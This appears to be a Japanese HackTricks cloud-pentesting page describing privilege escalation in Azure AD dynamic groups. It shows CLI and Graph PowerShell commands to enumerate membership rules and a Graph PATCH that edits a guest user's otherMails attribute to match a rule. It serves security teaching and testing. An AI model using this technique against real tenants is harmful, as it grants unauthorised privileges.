Az - Dynamic Groups Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Dynamic groups は、一連の ルール が設定され、それに一致するすべての ユーザーまたはデバイス がグループに追加されるグループです。ユーザーやデバイスの 属性変更される たびに、動的ルールは 再確認 されます。新しい ルール作成される と、すべてのデバイスとユーザーが チェック されます。

Dynamic groups には Azure RBAC roles を割り当てることができますが、AzureAD roles を dynamic groups に追加することは できません

この機能は Azure AD premium P1 ライセンスを必要とします。

Privesc

デフォルトでは任意のユーザーが Azure AD にゲストを招待できることに注意してください。そのため、動的グループの ルール が新しい ゲスト に設定できる 属性 に基づいてユーザーに 権限 を付与する場合、これらの属性を持つゲストを作成して 権限を昇格 させることが可能です。ゲストは自分のプロファイルを管理してこれらの属性を変更することもできます。

動的メンバーシップを許可するグループを取得: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Dynamic Groups 列挙

動的グループのルールを取得:

Azure CLI を使用して:

az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table

PowerShellMicrosoft Graph SDK を使用して:

Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "Group.Read.All"

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes

# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState

$g | Select-Object DisplayName, GroupTypes, MembershipRule

# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule

  • ルール例: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • ルールの説明: セカンダリメールに ‘security’ を含むゲストユーザーはグループに追加されます

ゲストユーザーのメールについては、招待を受け入れ、https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactViewそのユーザー の現在の設定を確認してください。
残念ながら、このページでは属性値を変更できないため、APIを使用する必要があります:

# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする